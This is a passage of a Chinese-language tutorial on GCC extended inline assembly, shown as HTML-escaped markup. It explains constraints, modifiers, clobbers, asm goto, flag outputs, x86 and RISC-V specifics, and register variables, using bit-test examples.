        &amp;quot;btq %2, %1 \n\t&amp;quot;		   &amp;#x2F;&amp;#x2F; %1 代表 val（第 1 个输入&amp;#x2F;输出），%2 代表 bit。btq 指令将 val 的第 bit 位存入 CF 中
        &amp;quot;jnc %=f \n\t&amp;quot;              &amp;#x2F;&amp;#x2F; 若 CF 标记为 1,将 ret 设置为 1
        &amp;quot;movl $1, %0 \n\t&amp;quot;
        &amp;quot;%=: movl $0, %0 \n\t&amp;quot;
        : &amp;quot;=&amp;amp;rm&amp;quot; (ret)		   &amp;#x2F;&amp;#x2F; ret 为输出变量。该变量可以被分配到通用寄存器或内存中中。不允许该输出变量与输入重叠。
        : &amp;quot;r&amp;quot; (val), &amp;quot;r&amp;quot; (bit)      &amp;#x2F;&amp;#x2F; val 和 bit 是输入变量，分配到任意通用寄存器中
        : &amp;quot;cc&amp;quot;, &amp;quot;memory&amp;quot;            &amp;#x2F;&amp;#x2F; asm 块可能读取、修改条件寄存器和内存
            );
    return ret;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个例子使用到了拓展内联汇编的绝大多数功能。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hui-bian-fang-yan&quot;&gt;汇编方言&lt;&#x2F;h2&gt;
&lt;p&gt;GCC 支持多种汇编方言，x86 汇编默认使用 AT&amp;amp;T 语法，但也支持 Intel 语法。GCC 生成的汇编指令可以通过编译选项 -masm=dialect 切换。如果使用 Intel 语法，那么 asm 块中的 AT&amp;amp;T 语法就无法正确编译，反之亦然。可以通过&lt;code&gt;{  dialect 0 | dialect 1 | dialect 2 ... }&lt;&#x2F;code&gt;来兼容多种方言。这里使用&lt;code&gt;bt&lt;&#x2F;code&gt;指令（bit test）来说明使用方法。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;quot;bt{l %[Offset],%[Base] | %[Base],%[Offset]}; jc %l2&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译器根据编译选项 -masm 展开后为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;quot;btl %[Offset],%[Base] ; jc %l2&amp;quot;   &amp;#x2F;* att dialect *&amp;#x2F;
&amp;quot;bt %[Base],%[Offset]; jc %l2&amp;quot;     &amp;#x2F;* intel dialect *&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;`%l2代表 C Label。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;te-shu-zi-fu-chuan&quot;&gt;特殊字符串&lt;&#x2F;h2&gt;
&lt;p&gt;内联汇编中使用&lt;code&gt;%N&lt;&#x2F;code&gt;表示第&lt;code&gt;N&lt;&#x2F;code&gt;个输入&#x2F;输出（从 0 开始数），使用&lt;code&gt;{&lt;&#x2F;code&gt;、&lt;code&gt;}&lt;&#x2F;code&gt;和&lt;code&gt;|&lt;&#x2F;code&gt;表示不同方言。AT&amp;amp;T 语法中寄存器要加&lt;code&gt;%&lt;&#x2F;code&gt;前缀，因此&lt;code&gt;%&lt;&#x2F;code&gt;需要被跳脱。拓展内联汇编中，&lt;code&gt;%&lt;&#x2F;code&gt;要写成&lt;code&gt;%%&lt;&#x2F;code&gt;，如&lt;code&gt;%%rax&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;GCC 还特别提供了&lt;code&gt;%=&lt;&#x2F;code&gt;生成在所有 asm 块中唯一的数字，这个功能用于生成不重复的 local label 供跳转指令使用。我们最开始的&lt;code&gt;bittest()&lt;&#x2F;code&gt;就使用了这个功能。&lt;&#x2F;p&gt;
&lt;p&gt;介绍到这里，实际上就说完了&lt;code&gt;AssemblerTemplate&lt;&#x2F;code&gt;的全部内容，开始介绍输出列表、输入列表、修改列表的细节。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shu-chu-lie-biao&quot;&gt;输出列表&lt;&#x2F;h2&gt;
&lt;p&gt;语法结构如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;[ [asmSymbolicName] ] constraint (cvariablename)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;asmSymboicName
我们可以给&lt;code&gt;cvariablename&lt;&#x2F;code&gt;起一个只能在该 asm 中使用的别名，并通过&lt;code&gt;%[asmSymbolicName]&lt;&#x2F;code&gt;访问它。比如&lt;code&gt;: [value] &quot;=m&quot; (i)&lt;&#x2F;code&gt; ，可以在 asm 块中通过&lt;code&gt;%[value]&lt;&#x2F;code&gt;访问它。&lt;&#x2F;li&gt;
&lt;li&gt;constraint（限制）和 modifier（修饰语）
constraint 在拓展汇编中至关重要，它和 modifier 是拓展内联汇编和基本内联汇编的根本差异之处。它们的作用都是给编译器提供信息，不同之处在于：constraint 提供输入&#x2F;输出变量&lt;strong&gt;位置&lt;&#x2F;strong&gt;的信息（如分配到寄存器还是内存中），modifier 只能用于输出，提供输出变量的&lt;strong&gt;行为&lt;&#x2F;strong&gt;信息（如只读&#x2F;读写，是否可以在指令中交换次序）。&lt;&#x2F;li&gt;
&lt;li&gt;cvariablename
cviriablename 是一个 C 变量，因为它是 asm 的输出变量，必须要可以被修改，因此必须是左值。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因为 modifier 只能用于输出变量上，因此只先介绍 modifier。&lt;&#x2F;p&gt;
&lt;p&gt;constraint 用来表示输入&#x2F;输入变量的位置，既有通用的（如任意通用寄存器，不同平台对应不同寄存器），也有特定平台的拓展（如 x86 中的 a，对应寄存器 (r|e)ax），使用时查阅 GCC 手册即可。本文只介绍几个常用的通用、x86、RISC-V constraint。&lt;&#x2F;p&gt;
&lt;p&gt;modifier 有以下四个：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;=&lt;&#x2F;code&gt;: 操作对象是只写的。这意味着操作对象中的值可以被丢弃，并且写入新数据。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;+&lt;&#x2F;code&gt;: 操作对象是读写的。这以为着可以在 asm 中合法的读取操作对象，并且 C 变量在进入 asm 块时就已经加载到对应的位置中。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;: 指示该操作对象一定不能和输入重叠。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;%&lt;&#x2F;code&gt;: 表示该操作对象可以交换次序。这个 modifer 我不是很理解，似乎没有大的用处。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;比较难以理解，单独解释。GCC 假设汇编代码&lt;strong&gt;在产生输出前会消耗掉输入&lt;&#x2F;strong&gt;，可能会将不相关的输出&#x2F;输入分配到同一个寄存器中。实际上输入和输出的次序不一定满足 GCC 的假设，这时就会出错。举两个例子说明这个问题。&lt;&#x2F;p&gt;
&lt;p&gt;细心的读者应该会注意到在&lt;code&gt;testbit()&lt;&#x2F;code&gt;函数中，输出&lt;code&gt;ret&lt;&#x2F;code&gt;被分配到寄存器或内存中，constraint 中使用了&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;。假如我们删除掉&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;会怎么样呢？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F; 测试程序
&amp;#x2F;&amp;#x2F; bittest()删除 &amp;amp;
int
main()
{
    if (bittest(1, 0))
        printf(&amp;quot;0\n&amp;quot;);
    else
        printf(&amp;quot;1\n&amp;quot;);

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译后运行结果为 1。这很显然是错的。反汇编&lt;code&gt;bittest()&lt;&#x2F;code&gt;，关键部分代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;	movq	%rdi, -24(%rbp)		## 第一个参数（val）
	movq	%rsi, -32(%rbp)		## 第二个参数（bit）
	movq	-24(%rbp), %rax		## 变量 val 分配到 rax 中
	movq	-32(%rbp), %rdx
#APP
# 23 &amp;quot;bt.c&amp;quot; 1
	movl $0, %eax 			## 变量 ret 也被分配到 rax 中
	btq %rdx, %rax
	jnc 15f 				## 15 是 %= 生成的
	movl $1, %eax
	15:

# 0 &amp;quot;&amp;quot; 2
#NO_APP

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以发现，错误的根源在于我们指示 GCC 将变量&lt;code&gt;ret&lt;&#x2F;code&gt;和&lt;code&gt;val&lt;&#x2F;code&gt;分配到通用寄存器中，GCC 假设输入在产生输出前就被消耗（输入&#x2F;输入分配到同一个寄存器中不会出错），因此将&lt;code&gt;ret&lt;&#x2F;code&gt;和&lt;code&gt;val&lt;&#x2F;code&gt;都分配到了寄存器 rax 中。在执行 bt 指令前，我们将返回值&lt;code&gt;ret&lt;&#x2F;code&gt;设置成&lt;code&gt;0&lt;&#x2F;code&gt;，覆盖了&lt;code&gt;val&lt;&#x2F;code&gt;，导致错误。&lt;&#x2F;p&gt;
&lt;p&gt;还有一种可能的输入&#x2F;输出重叠的情况：输出 A 被分配到寄存器中，输出 B 被分配到内存中，访问内存 B 时错误地使用了输出 A 被分配到的寄存器。访问内存中的 B 很可能需要使用到寄存器（如内存寻址），GCC 这时将访问 B 过程中使用到的寄存器视为输入，根据“输入在产生输出之前就被消耗掉了”的假设，GCC 很可能会在访问 B 的过程中使用 A 对应的寄存器（假设在访问完 B 后才写入 A,这时情况正常）。实际情况可能不符合 GCC 的假设，用户可能在访问 B 之前写入 A,在访问 B 时使用的寄存器中的值（这个值错误地变成了 A 的值）可能是错误的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;陷阱&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;GCC不保证在进入 asm 块时，输出变量已被加载到 constraint 指定的位置中。如果需要 GCC 在进入 asm 块时将变量加载到 constraint 指定的位置中，请使用&lt;code&gt;+&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;constraint 是指定变量在 asm 块中的位置，而不是在函数中的位置。变量&lt;code&gt;val&lt;&#x2F;code&gt;的 constraint 为 r 说明它在进入&#x2F;退出 asm 块时被分配到通用寄存器中，但在进入 asm 块前它的位置是不确定的。如果要控制 asm 块外变量被分配的位置，可以使用 GNU C 的寄存器变量拓展。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;shu-ru-lie-biao&quot;&gt;输入列表&lt;&#x2F;h2&gt;
&lt;p&gt;语法结构如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;[ [asmSymbolicName] ] constraint (cexpression)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;asmSymbolicName&lt;&#x2F;code&gt;和&lt;code&gt;constraint&lt;&#x2F;code&gt;和输出列表一样。&lt;&#x2F;p&gt;
&lt;p&gt;输入列表中不可以使用&lt;code&gt;=&lt;&#x2F;code&gt;和&lt;code&gt;+&lt;&#x2F;code&gt;这两个 constraint。&lt;&#x2F;p&gt;
&lt;p&gt;因为输入是只读的，因此不要求输入是左值，任何 C 表达式都可以作为输入。&lt;&#x2F;p&gt;
&lt;p&gt;GCC 假设输入是只读的，&lt;strong&gt;在退出 asm 块时输入的值不被改变&lt;&#x2F;strong&gt;。我们不能通过修改列表来告知 GCC 我们将修改一个输入。如果我们确实需要修改输入，有两种办法：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用可读写的输出替换输入。&lt;&#x2F;li&gt;
&lt;li&gt;将输入绑定到一个不使用的输出上。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;第一种方法的原理显而易见，加上&lt;code&gt;+&lt;&#x2F;code&gt;限制的输出在进入 asm 块时就被分配到对应的位置中，除了可以写外，跟输入变量没有区别。&lt;&#x2F;p&gt;
&lt;p&gt;第二种方法是变通方法，当我们将输入绑定（放入同一个位置）到一个不使用的输出时，我们修改输入就相当于生成输出，绕开了 GCC 不修改输入的规定。使用这种方法要小心 GCC 发现输出变量未使用，将 asm 优化掉，需要添加 volatile 修饰符。&lt;&#x2F;p&gt;
&lt;p&gt;我个人建议使用第一种方法，虽然第一种方法在语意上不太合适，但能够实现我们的目的，并且比较好理解。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiu-gai-lie-biao&quot;&gt;修改列表&lt;&#x2F;h2&gt;
&lt;p&gt;在使用内联汇编时，我们写的汇编代码可能会产生一些副作用，GCC 必须清楚地知道这些副作用才能调整自己的行为，生成正确的代码。&lt;&#x2F;p&gt;
&lt;p&gt;举一个可能导致生成错误代码的例子。我们使用字符串复制指令&lt;code&gt;movsb&lt;&#x2F;code&gt;将一段内存复制到另一个地址，&lt;code&gt;movsb&lt;&#x2F;code&gt;会读取、修改寄存器 rsi 和 rdi 的值，如果我们不告诉 GCC 我们写的汇编代码有“修改 rsi 和 rdi”的副作用，GCC 会认为 rsi 和 rdi 没有被修改，生成错误的代码。&lt;&#x2F;p&gt;
&lt;p&gt;在使用内联汇编时我们必须提供给 GCC 尽可能多的信息，汇编代码可能有哪些副作用（修改了哪些寄存器，是否访问内存）是使用内联汇编时需要始终考虑的问题。&lt;&#x2F;p&gt;
&lt;p&gt;修改列表(&lt;em&gt;Clobeerrs&lt;&#x2F;em&gt;)的语法结构如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;: &amp;quot;Clobber&amp;quot; (cexpression)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;Clobber&lt;&#x2F;code&gt;有以下几个：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cc&lt;&#x2F;code&gt;: 条件（标准）寄存器。如 x86 的 EFLAGS 寄存器。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;memory&lt;&#x2F;code&gt;: 读&#x2F;写内存。为了确保读取到正确的值，GCC 可能会在进入 asm 块前将某些寄存器写入内存中，也可能在必要的时候将内存中存储的寄存器值重新加载到寄存器中。&lt;&#x2F;li&gt;
&lt;li&gt;寄存器名：如 x86 平台的 rax 等，直接写原名即可。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;constraint&quot;&gt;constraint&lt;&#x2F;h2&gt;
&lt;p&gt;这里介绍几个常用的 constraint：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;r&lt;&#x2F;code&gt;: 通用寄存器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;i&lt;&#x2F;code&gt;: 在汇编时或运行时可以确定的立即数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;n&lt;&#x2F;code&gt;: 可以直接确定的立即数，如整形字面量&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;g&lt;&#x2F;code&gt;: 任意通用寄存器、内存、立即数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这些是 GCC 提供的通用 constraint，在不同处理器上有不同的实现。比如 x86 上的通用寄存器是 rax、r8 等，在 RISC-V 上是 x0 到 x31。&lt;&#x2F;p&gt;
&lt;p&gt;有些指令，如 x86 常用的&lt;code&gt;mov&lt;&#x2F;code&gt;指令，两个操作数既可以都是寄存器、也可以一个是寄存器一个是内存地址。这时就有三种组合，我们可以将 constraint 可以分为多个候选组合传递给 GCC,如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;:	&amp;quot;m,r,r&amp;quot; (output)
:   &amp;quot;r,m,r&amp;quot; (input)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;constraint 通过&lt;code&gt;，&lt;&#x2F;code&gt;分组，并且一一对应。上面的代码段相当于以下三个输出&#x2F;输入列表组合在一起：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;:	&amp;quot;m&amp;quot; (output)
:	&amp;quot;r&amp;quot; (input)
------------------
:	&amp;quot;r&amp;quot; (output)
:	&amp;quot;r&amp;quot; (input)
------------------
:      &amp;quot;r&amp;quot; (output)
:	&amp;quot;m&amp;quot; (input)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一个输入&#x2F;输出可以有多个constraint，GCC 会自动选择其中最好的一个。如&lt;code&gt;:&quot;rm&quot; (output)&lt;&#x2F;code&gt;表示&lt;code&gt;output&lt;&#x2F;code&gt;既可以分配到通用寄存器中，也可以分配到内存中，由 GCC 自己选择。&lt;&#x2F;p&gt;
&lt;p&gt;多 constraint 和分组的 constraint 是两码事。还拿 x86 上的&lt;code&gt;mov&lt;&#x2F;code&gt;指令举例，&lt;code&gt;mov&lt;&#x2F;code&gt;指令不允许两个操作数都是内存地址，因此我们不能写出这样的输出&#x2F;输入列表：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;:	&amp;quot;rm&amp;quot; (output)
:	&amp;quot;rm&amp;quot; (input)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个列表表示&lt;code&gt;output&lt;&#x2F;code&gt;和&lt;code&gt;input&lt;&#x2F;code&gt;都可以分配到内存或通用寄存器中，可能出现两变量同时被分配到内存中的情况，这是 mov 指令就会出错。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;goto-lie-biao&quot;&gt;goto 列表&lt;&#x2F;h2&gt;
&lt;p&gt;GCC 提供了在内联汇编中使用 C Label 的功能，但这个功能有限制，这能在 asm 块没有输出时使用。C Label 在内联汇编中直接当成汇编的 label 使用即可，唯一要注意的是在内联汇编中 C label 的命名。&lt;&#x2F;p&gt;
&lt;p&gt;在内联汇编中使用&lt;code&gt;%lN&lt;&#x2F;code&gt;来访问 C label,因为&lt;code&gt;%l&lt;&#x2F;code&gt;在内联汇编中已经有了特殊的意义（x86 平台的修饰符，表示寄存器的低位子寄存器，如 rax 中的 eax），因此 GCC 将 C label 对应的&lt;code&gt;N&lt;&#x2F;code&gt;设置为输入输出总数加 goto 列表中 C label 的位置。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;asm goto (
    &amp;quot;btl %1, %0\n\t&amp;quot;
    &amp;quot;jc %l2&amp;quot;
    : &amp;#x2F;* No outputs. *&amp;#x2F;
    : &amp;quot;r&amp;quot; (p1), &amp;quot;r&amp;quot; (p2)
    : &amp;quot;cc&amp;quot;
    : carry);

return 0;

carry:
return 1;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;标签&lt;code&gt;carry&lt;&#x2F;code&gt;之前有两个输入，&lt;code&gt;carry&lt;&#x2F;code&gt;在 goto 列表的第 0 位，因此使用&lt;code&gt;%l2&lt;&#x2F;code&gt;引用&lt;code&gt;carry&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;za-xiang&quot;&gt;杂项&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;biao-ji-ji-cun-qi-de-shi-yong&quot;&gt;标记寄存器的使用&lt;&#x2F;h2&gt;
&lt;p&gt;在某些平台，比如 x86,存在标记寄存器。GCC 允许将标记寄存器中的某个标准输出到 C 变量中，这个变量必须是标量（整形、指针等）或者是布尔类型。当 GCC 支持这个特性时，会与定义宏&lt;code&gt;__GCC_ASM_FLAG_OUTPUTS__&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;标记输出约束为&lt;code&gt;@cccond&lt;&#x2F;code&gt;，其中&lt;code&gt;cond&lt;&#x2F;code&gt;为指令集定义的标准条件,在 x86 平台上即条件跳转的后缀。&lt;&#x2F;p&gt;
&lt;p&gt;因为访问的是标记寄存器中的标记（很可能是一个比特），因此不能在 asm 块中通过&lt;code&gt;%0&lt;&#x2F;code&gt;等形式显示访问，也不能给多个约束。&lt;&#x2F;p&gt;
&lt;p&gt;使用标记寄存器，可以简化前面的&lt;code&gt;testbit()&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;int
bittest(unsigned long long val, unsigned long long bit)
{
    int ret;
    __asm__ __volatile__(
        &amp;quot;btq %2, %1 \n\t&amp;quot;
        : &amp;quot;=@ccc&amp;quot; (ret)
        : &amp;quot;r&amp;quot; (val), &amp;quot;r&amp;quot; (bit)
        : &amp;quot;cc&amp;quot;, &amp;quot;memory&amp;quot;
            );
    return ret;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;asm-de-da-xiao&quot;&gt;asm 的大小&lt;&#x2F;h2&gt;
&lt;p&gt;为了生成正确的代码，一些平台需要 GCC 跟踪每一条指令的长度。但是内联汇编由编译器完成，指令的长度却只有汇编器知道。&lt;&#x2F;p&gt;
&lt;p&gt;GCC 使用比较保守的办法，假设每一条指令的长度都是该平台支持的最长指令长度。asm 块中所有语句分割符（如&lt;code&gt;;&lt;&#x2F;code&gt;等）和换行符都作为指令结束的标准。&lt;&#x2F;p&gt;
&lt;p&gt;通常，这种办法都是正确的，但在遇到汇编器的伪指令和宏时可能会产生意想不到的错误。汇编器的伪指令和宏最终会被汇编器转换为多条指令，但是在编译器眼中它只是一条指令，从而产生误判，生成错误的代码。&lt;&#x2F;p&gt;
&lt;p&gt;因此，&lt;strong&gt;尽量不要在 asm 块中使用伪指令和宏&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;x86-te-ding&quot;&gt;X86 特定&lt;&#x2F;h2&gt;
&lt;p&gt;x86 平台有些些专门的 constraint ,如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;a&lt;&#x2F;code&gt;: ax 寄存器，在 32 位处理器上是 eax,在 64 位处理器上是 rax&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;b&lt;&#x2F;code&gt;(bx),&lt;code&gt;c&lt;&#x2F;code&gt;(cx),&lt;code&gt;d&lt;&#x2F;code&gt;(dx),&lt;code&gt;S&lt;&#x2F;code&gt;(si),&lt;code&gt;D&lt;&#x2F;code&gt;(di): 类似与&lt;code&gt;a&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;q&lt;&#x2F;code&gt;: 整数寄存器。32 位上是&lt;code&gt;a&lt;&#x2F;code&gt;、&lt;code&gt;b&lt;&#x2F;code&gt;、&lt;code&gt;c&lt;&#x2F;code&gt;、&lt;code&gt;d&lt;&#x2F;code&gt;，64 位增加了 r8 ~ r15 8 个寄存器&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;x86 中一个大寄存器可以重叠地分为多个小寄存器，比如 rax 第 32 位可以作为 eax 单独使用，eax 低 16 位又可以作为 ax 单独使用，ax 高 8 位可以做为 ah 单独使用、低 8 位可以作为 al 单独使用。针对这种情况，GCC 在 x86 平台专门提供了一些修饰符来调整生成的汇编代码中寄存器、内存地址等的格式。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;uint16_t  num;
asm volatile (&amp;quot;xchg %h0, %b0&amp;quot; : &amp;quot;+a&amp;quot; (num) );
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码将&lt;code&gt;num&lt;&#x2F;code&gt;分配到 ax 寄存器中，在64 位处理器上是 rax，32 位处理器上是 eax，但程序员只需要访问它的子寄存器 ah 和 al。&lt;code&gt;h&lt;&#x2F;code&gt;表示访问 ah（bh、ch 等），&lt;code&gt;b&lt;&#x2F;code&gt;表示访问 al（bl、cl 等）。因此内联汇编指令插入到汇编代码中时变成了&lt;code&gt;xchg ah, al&lt;&#x2F;code&gt;，而不是原始的&lt;code&gt;xchg rax, rax&lt;&#x2F;code&gt;或&lt;code&gt;xchg eax, eax&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;完整的 GCC x86 修饰符可以在手册中找到。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;risc-v-te-ding&quot;&gt;RISC-V 特定&lt;&#x2F;h2&gt;
&lt;p&gt;GCC 对 RISC-V 平台提供了以下额外的 constrait。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;f&lt;&#x2F;code&gt;: 浮点寄存器（如果存在的花）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;I&lt;&#x2F;code&gt;: 12 比特立即数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;J&lt;&#x2F;code&gt;: 整数 0&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;K&lt;&#x2F;code&gt;: 用于 CSR 访问指令的 5 比特的无符号立即数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;A&lt;&#x2F;code&gt;: 存储在通用寄存器中的地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;GCC 没有提供对 RISC-V 特定寄存器的 constrait，如果我们需要将变量分配到特定的寄存器，只能通过分配寄存器变量的方式曲线救国。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-cun-qi-bian-liang&quot;&gt;寄存器变量&lt;&#x2F;h2&gt;
&lt;p&gt;寄存器变量是 ISO C 的特性，语法为:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;register type cvariable
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;register size_t i;
for (i = 0; i &amp;lt; 100; ++i)
    &amp;#x2F;* do something *&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;ISO C 中的寄存器变量特性只是“建议”将某个变量分配到寄存器中，最终是否分配到寄存器中由编译器决定，并且没有提供指定寄存器的语法，分配到哪个寄存器也由编译器决定。&lt;&#x2F;p&gt;
&lt;p&gt;GCC 拓展了 ISO C 中寄存器变量的特性，提供了指定寄存器的语法，只要分配的寄存器合法就会分配成功。&lt;&#x2F;p&gt;
&lt;p&gt;语法结构如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;register type cvariable asm (&amp;quot;register&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;register unsigned long long i asm (&amp;quot;rax&amp;quot;);  &amp;#x2F;&amp;#x2F; x86
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该代码段将变量&lt;code&gt;i&lt;&#x2F;code&gt;分配到寄存器 rax 中。&lt;&#x2F;p&gt;
&lt;p&gt;因为变量在寄存器中，因此寄存器变量的使用有以下限制：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;全局寄存器变量不能有初始值不能初始化。可执行文件无法给寄存器提供初值。&lt;&#x2F;li&gt;
&lt;li&gt;不能使用 volatile 等修饰符。&lt;&#x2F;li&gt;
&lt;li&gt;不能取地址。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;寄存器变量仅仅是指示编译器将变量放置在特定的寄存器中，不意味这在该变量的整个生命周期中该变量都独占该寄存器，该寄存器很可能会被分配为别的变量使用。程序员只可以假设在声明时变量在指定的寄存器中，之后的语句中不能假设该变量仍在该寄存器中，生成的任何指令都可能修改该寄存器的值。&lt;&#x2F;p&gt;
&lt;p&gt;既可以全局变量也可以是局部变量。由于上面提到的限制，将全局变量声明为寄存器变量几乎总是错误的做法，很可能破坏 C ABI,对性能也未必有大的提升，仅在极有限的场景下使用全局寄存器变量，因此不解释全局寄存器变量。&lt;&#x2F;p&gt;
